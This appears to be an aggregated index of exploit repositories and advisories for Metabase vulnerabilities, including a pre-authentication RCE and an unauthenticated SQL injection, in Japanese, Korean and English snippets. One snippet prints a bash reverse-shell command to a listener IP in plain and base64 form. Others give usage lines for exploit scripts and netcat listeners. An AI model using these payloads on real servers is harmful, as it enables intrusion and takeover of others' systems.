CVE-2023-38646

CVE-2023-38646 元のスクリプトはsecurezeronから取得しました。 テスト中に、このPoCが生成するリバースシェルはbase6エンコード後に末尾の'='文字が原因で悪用に失敗することがわかりました。それを少し修正してこの問題を解決しました。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=...

CVE-2023-38646

CVE-2023-38646-exploit 「この脆弱性はCVE-2023–38646として指定され、攻撃者が認証を必要とせずにサーバー上で任意のコマンドを実行できるようにするものです。」 cve-2023-38646用のクイックリバースシェルエクスプロイトスクリプトです。 この脆弱性を発見したのは私ではありません。スクリプトを作成しただけです。 使用方法 root@kitploit: root@box:/CVE-2023-38646 python3 exploit.py / \ \ / / | | \ / \ | \ | \ / \ / /| || | / / | | \ \ / /...

cve-2023-38646-metabase-ReverseShell

cve-2023-38646-metabase-ReverseShell コマンドを実行 go run .\CVE-2023-38646-metabase-ReverseShell.go -u http://target.com:targetPort -h Your VPS IPaddr -p NC listen Port 注意 対象ホストを入力する際は、http:// または https:// を忘れずに付けてください。...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646을 위한 파이썬 RCE 익스플로잇 사용법 리스너 시작하기 root@kitploit: nc -lvnp 익스플로잇 실행 root@kitploit: python3 CVE-2023-38646.py -u -l -p 도움말 root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help messag...

Metabase-H2-CVE-2023-38646-

이 저장소에는 README가 없습니다...

CVE-2023-38646

Poc-Metabase-Preauth-CVE-2023-38646 使い方？ root@kitploit: λ cve git clone https://github.com/LazyySec/CVE-2023-38646.git λ cve cd Poc-Metabase-Preauth-CVE-2023-38646 λ Poc-Metabase-Preauth-CVE-2023-38646 git:main go build CVE-2023-38646-Exploit.go λ Poc-Metabase-Preauth-CVE-2023-38646 git:main ✗ go...

CVE-2026-72898

🔴 CVE-2026-72898 - 認証不要のSQLインジェクション Metabase — 認証不要のSQLインジェクション → 完全な管理者権限奪取 📌 概要 CVE-2026-72898 は、Metabase における最大深刻度（CVSS 10.0）の認証不要 SQL インジェクション脆弱性であり、リモートの攻撃者がパスワードリセットエンドポイントを介してアプリケーションデータベースに任意の SQL を注入できるものです。 悪用に成功すると、Metabase インスタンスへの完全な管理者アクセス が付与されます。そこから攻撃者は以下を実行できます： アプリケーション設定の変更...

Metabase - Local File Inclusion

Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map admin-settings-maps-custom maps-add a map support and potential local file inclusion including environment variables. URLs were not...

CVE-2026-86116

Metabase versions before 0.63.1 fail to enforce data analyst permission checks on glossary API endpoints, allowing any authenticated user to create, modify, and delete glossary entries. Attackers can submit requests to POST, PUT, and DELETE glossary endpoints to tamper with instance-wide business...

CVE-2026-86116

Metabase versions before 0.63.1 fail to enforce data analyst permission checks on the glossary management API endpoints. Any authenticated user can send POST, PUT, or DELETE requests to create, modify, or delete glossary entries, allowing tampering with instance-wide business glossary data withou...

EUVD-2026-71948

Metabase versions before 0.63.1 fail to enforce data analyst permission checks on glossary API endpoints, allowing any authenticated user to create, modify, and delete glossary entries. Attackers can submit requests to POST, PUT, and DELETE glossary endpoints to tamper with instance-wide business...

CVE-2026-86116 Metabase before 0.63.1 Missing Function-Level Authorization on the Glossary Management API

Metabase versions before 0.63.1 fail to enforce data analyst permission checks on glossary API endpoints, allowing any authenticated user to create, modify, and delete glossary entries. Attackers can submit requests to POST, PUT, and DELETE glossary endpoints to tamper with instance-wide business...

CVE-2026-86116 Metabase before 0.63.1 Missing Function-Level Authorization on the Glossary Management API

Metabase versions before 0.63.1 fail to enforce data analyst permission checks on glossary API endpoints, allowing any authenticated user to create, modify, and delete glossary entries. Attackers can submit requests to POST, PUT, and DELETE glossary endpoints to tamper with instance-wide business...

The vulnerability of the Metabase data visualization and reporting software lies in the lack of security measures for query structures, allowing attackers to enhance their privileges and execute arbitrary code.

The vulnerability of the Metabase data visualization and reporting software relates to the lack of measures taken to protect the SQL query structure during the processing of the resetpassword parameter. Exploiting this vulnerability allows a malicious actor to enhance their privileges and execute...

CVE-2026-72898 vulnerabilities

Vulnerabilities for packages: metabase...

Exploit for CVE-2026-72898

🔴 CVE-2026-72898 - Unauthenticated SQL Injection Met...

Metabase 0.58.x < 0.58.24 / 0.59.x < 0.59.21 / 0.60.x < 0.60.17 / 0.61.x < 0.61.11 / 0.62.x < 0.62.9 / 0.63.x < 0.63.5 / 1.58.x < 1.58.24 / 1.59.x < 1.59.21 / 1.60.x < 1.60.17 / 1.61.x < 1.61.11 / 1.62.x < 1.62.9 / 1.63.x < 1.63.5 Multiple Vulnerabilities

The version of Metabase installed on the remote host is 0.58.x prior to 0.58.24, 0.59.x prior to 0.59.21, 0.60.x prior to 0.60.17, 0.61.x prior to 0.61.11, 0.62.x prior to 0.62.9, 0.63.x prior to 0.63.5, 1.58.x prior to 1.58.24, 1.59.x prior to 1.59.21, 1.60.x prior to 1.60.17, 1.61.x prior to...

Metabase SQL Injection Vulnerability

Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal store...

Metabase 0.63.4 SQL Injection

A proof of concept exploit for an unauthenticated SQL injection vulnerability in Metabase version 0.63.4. The vulnerability allows an attacker-controlled user-id value supplied to the password reset endpoint to reach a HoneySQL query as raw SQL. On installations using the default embedded H2...

Metabase 0.63.4 SQL Injection

A proof of concept exploit for an unauthenticated SQL injection vulnerability in Metabase version 0.63.4. The vulnerability exists in public shared cards containing field-filter template tags, where a specially structured parameter value can be interpreted by HoneySQL as raw query structure rathe...